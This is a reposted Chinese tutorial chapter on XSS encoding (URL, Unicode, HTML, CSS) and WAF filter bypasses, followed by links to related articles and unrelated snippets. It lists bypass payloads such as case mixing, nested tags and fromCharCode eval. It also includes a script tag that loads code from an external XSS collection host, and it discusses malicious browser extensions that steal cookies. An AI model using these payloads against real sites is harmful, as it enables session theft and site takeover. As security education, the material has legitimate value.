0×01前言

很抱歉,这第四章被我推了几个月,今天是元旦难得有空,就把第四章写下。我先把主要使用的编码说下,介绍完会说下绕过。

本文建议与《杂谈如何绕过WAF》一同阅读。

0×02 URL编码

URL只允许用US-ASCII字符集中可打印的字符(0×20—0x7x),其中某些字符在HTTP协议里有特殊的意义,所以有些也不能使用。这里有个需要注意的,+加号代表URL编码的空格,%20也是。

URL编码最长见的是在用GET/POST传输时,顺序是把字符改成%+ASCII两位十六进制(先把字符串转成ASCII编码,然后再转成十六进制)。

这个在编码DOM XSS可能会用到,比如我上次说的

http://www.freebuf.com/articles/web/42727.html 0×04节DOM XSS 在chrome maxthon firefox里对URL里的a=后面的字节进行了URL进行编码,只能在360浏览器里成功,这就是浏览器对URL进行了URL编码。

0×03 unicode编码

Unicode有1114112个码位,也就是说可以分配1114112个字符。Unicode编码的字符以%u为前缀,后面是这个字符的十六进制unicode的码点。

Unicode编码之所以被本文提到,因为有的站点过滤了某些字符串的话,但是发现这个站点在后端验证字符串的时候,识别unicode编码,那我们就可以把我们的攻击代码来改成unicode编码形式,就可以绕过站点的过滤机制了。

0×04 HTML编码

HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。

例如:

<img src=logo.png/>

  

可以正常显示。

但是当你把src或者img进行html编码就不行了,例如:

<img src=logo.png/>

  

0×05 CSS编码

这个不是太常用。就是/斜杠加上1-6位十六进制

之前在IE5之前都可以用expression来调用js时,这个编码很有用。 现在大多都是用于CSS小图标。

0×06 假设

网站检测script标签里的src值是否为网站(关键字有http&https&com&cn&net&&js)

那我们该怎么绕过呢,看下面的实例代码:

<script
src="http://xss8.pw/bgFfBx?1419229565"></script>

  打开审查元素——网络,我们成功的看到了我们的JS被加载了

XSS平台里也获取到了。

0×06 常见的绕过方式

<sCrIpt>alert(1)</script>
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
<scr<script>rip>alalertert</scr</script>rip> (需要利用waf的不完整性)
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

  

标签属性="javascript:JS代码"(只对支持js伪协议的属性起作用)

<标签 on事件="js代码">

<script
woaini>
alert(123)
</script
woaini>

  

浏览器下会把换行 TAB符当成空格,把后面的字符当做属性来解析

等等,还有很多,其实本章说的不是太多。干干货也少的可怜。没办法我之前说的“杂谈绕过WAF”里说的太详细了,该说的都说了。我也不知道该说些什么。看看下一节吧,还有些干货。XSS绕过方面网上的资料太多太多了。想要说一些别人没说的很难。也有,只不过在http://www.freebuf.com/articles/web/54686.html 里说完了…

0×07 插件安全

这节本是不属于本章的,所以说这节我是特意拿出来的。也是在这里我希望大家从此注意下浏览器插件方面的安全问题。

我之前在《杂谈如何绕过WAF》一文里 还有现在朋友交流的时候我也多次说过。

即使你网站做的再安全,WAF再怎么完整。我利用插件照样可以绕过。插件的有它的特殊性,也是这个特殊性成就了他的安全问题,那就是“跨域”。

我在里说下插件是如何渲染到页面的:

用户打开网站——发送数据包——服务器响应并发送Response包——浏览器收到Response包——渲染(先渲染Response包,再渲染插件的代码)

  

也就是说我在插件里写了一段js,那么用户安装后,凡是打开网站。浏览器渲染后,就可以获取用户的cookies。如果攻击者事先有准备,还可以利用csrf攻击。这里我们大胆假设下:

假设1:攻击者把XSS代码封装到插件里,上传到浏览器插件下载网站(管理不严,管理员根本不可能一行一行代码看),上传成功后。用户下载,并安装。那么攻击者就可以坐在电脑前,喝着咖啡,看着不断刷新的xss数据流…

假设2:攻击者拥有dedecms的csrf(可以添加管理员),后面的和假设1一样。当网站管理员不小心安装或者使用了带有插件浏览器,网站就会被攻击者控制。有些人会问,几率那么小,怎么可能跑到我身上。是不太可能跑到你身上,倒是有可能跑到其他站长身上,当你想想中国站长有多少时,相信你就会明白了

假设3:攻击者拥有某个浏览器插件的XSC漏洞,再结合插件安全问题,就可以实现用户打开某个网站,就会被不知不觉中安装插件,有些人会说,有XSC我就直接执行任意代码了,谁还蛋疼式的去安装插件。如果攻击者想隐蔽式的攻击呢?而且控制电脑获取cookies我想这个应该比直接安装插件更加麻烦吧?当然攻击者也可以两个同时进行。

当然了,也有很多人会说,我安装安全健康绿色无污染的插件不就不怕了吗。

楼主说的十分有理,只不过你忽视了插件本身的安全问题,我之前所说的都是利用插件的特殊性来完成攻击,可是我并没有说插件本身的安全。

这时恐怕又有人质疑了,插件即使不安全,那也需要用户输入特殊的字符串里完成攻击,你这不就是在自己插自己么。

我所说的插件安全问题指的不是这,而是控制插件的数据流。因为插件的安全问题本身就没多大的利用价值,大多数时候都是自己插自己。

假设有一个在线翻译的插件,鼠标滑词,自动翻译。而这个技术就需要利用到AJAX,而AJAX利用的就是厂商提供的API,而API很多时候都在二级域名,安全性相对来说就比较低了。如果控制API了,那么就可以控制API发送给插件的数据流,从而达到攻击。

流程图就是下面这样:

黑客发现插件调取的API网站安全漏洞——重写了发送的数据包——插件获取被重写API数据——解析并把恶意代码渲染到页面——攻击成功。

  

当然了,不止API,有的插件还调用了外部的JS、CSS、iframe(HTML)等,我们也可以控制他们里来完成攻击。

为了让大家感到插件问题是时候注意下了,我放出一个小漏洞吧,之前在JSEC沙龙演示过的。危害不算太大,不过让大家从此注意插件问题应该够了。

双击ceshi.mxaddon文件就行了(需要安装遨游浏览器)。ceshi目录里是源代码,def.json是遨游插件漏洞(打开遨游插件管理页面,就会弹窗。Test.js也就是我这节说的。当你打开任何网站的时候,他都会弹窗)。

谁想提交就提交吧,当然我相信这时候遨游安全团队已经看到并修复了。我就喜欢看一群黑客和修复漏洞人员互相比速度。
相信这时有人开始骂我了。没办法,我就是不喜欢提交,任性。

[转]XSS的原理分析与解剖:第四章(编码与绕过)的更多相关文章

  1. XSS的原理分析与解剖:第三章(技巧篇)【转】

    0×01 前言: 关于前两节url: 第一章:http://www.freebuf.com/articles/web/40520.html 第二章:http://www.freebuf.com/art ...

  2. XSS的原理分析与解剖(二)

    0×01 前言:  上节(http://www.freebuf.com/articles/web/40520.html)已经说明了xss的原理及不同环境的构造方法.本期来说说XSS的分类及挖掘方法. ...

  3. XSS的原理分析与解剖(第二篇)[转]

    0×01 前言: 上节(http://www.freebuf.com/articles/web/40520.html)已经说明了xss的原理及不同环境的构造方法.本期来说说XSS的分类及挖掘方法. 当 ...

  4. XSS的原理分析与解剖(第二篇)

    0×01 前言: 上节(http://www.freebuf.com/articles/web/40520.html)已经说明了xss的原理及不同环境的构造方法.本期来说说XSS的分类及挖掘方法. 当 ...

  5. XSS的原理分析与解剖

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  6. XSS的原理分析与解剖(转)

    (转)http://netsecurity.51cto.com/art/201408/448305_all.htm 0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成 ...

  7. XSS的原理分析与解剖[转http://www.freebuf.com/articles/web/40520.html]

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  8. XSS的原理分析与解剖(一)

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  9. black-hole《XSS的原理分析与解剖》阅读笔记

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  10. XSS的原理分析与解剖:第三章(技巧篇)**************未看*****************

    ‍‍0×01 前言: 关于前两节url: 第一章:http://www.freebuf.com/articles/web/40520.html 第二章:http://www.freebuf.com/a ...

随机推荐

  1. Gson简单使用

    最近做个IM类型的Android 应用,由于有三种客户端(pc,ios,Android),所以底层使用的是C++与服务器通信,所以通信部分基本上有c++完成,封装好Jni即可,可以把底层c++通信看成 ...

  2. 爬虫常用库之pyquery 库

    pyquery库是jQuery的Python实现,可以用于解析HTML网页内容,我个人写过的一些抓取网页数据的脚本就是用它来解析html获取数据的.他的官方文档地址是:http://packages. ...

  3. Swift 中@available 和 #available

    Swift 2.0 中,引入了可用性的概念.对于函数,类,协议等,可以使用@available声明这些类型的生命周期依赖于特定的平台和操作系统版本.而#available用在判断语句中(if, gua ...

  4. POJ 2248

    #include <iostream> #define MAXN 100 #define min __min using namespace std; int tem[MAXN]; int ...

  5. Vim实用技巧系列 - 开篇

    作者使用Vim已经有一段时间了,深深觉得它是一个非常强大的编辑器,使用习惯之后效率很高.最大的缺点是学习曲线比较陡峭.因此作者希望分享一些自己在实际使用中的经验来帮助初学者,同时也帮助作者自己学习. ...

  6. JS实现一个基于对象的链表

    JS实现一个基于对象的链表 /*JS实现一个基于对象的链表*/ function Node(element){ this.element = element;//节点存储的元素 this.next = ...

  7. mapreduce基本原理

    场景: 一个大小为100T的文件,统计单词"ERROR"和"INFO"的个数 普通做法 是不是效率太低了? 换个方式 说明: 把100T文件分成100份,一台机 ...

  8. Android 开发工具类 25_getJSON

    获取 JSON 数据并解析 import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URL; im ...

  9. 关于作用域范围Scope

    举个例子,如下: public class C { public int a = 2; public void test(int b) { int c = 3; for (int d = 3; a & ...

  10. Python -- Gui编程 -- Tkinter的使用 -- 基本控件

    1.按钮 tkBtton.py import tkinter root = tkinter.Tk() btn1 = tkinter.Button(root, anchor=tkinter.E,\ te ...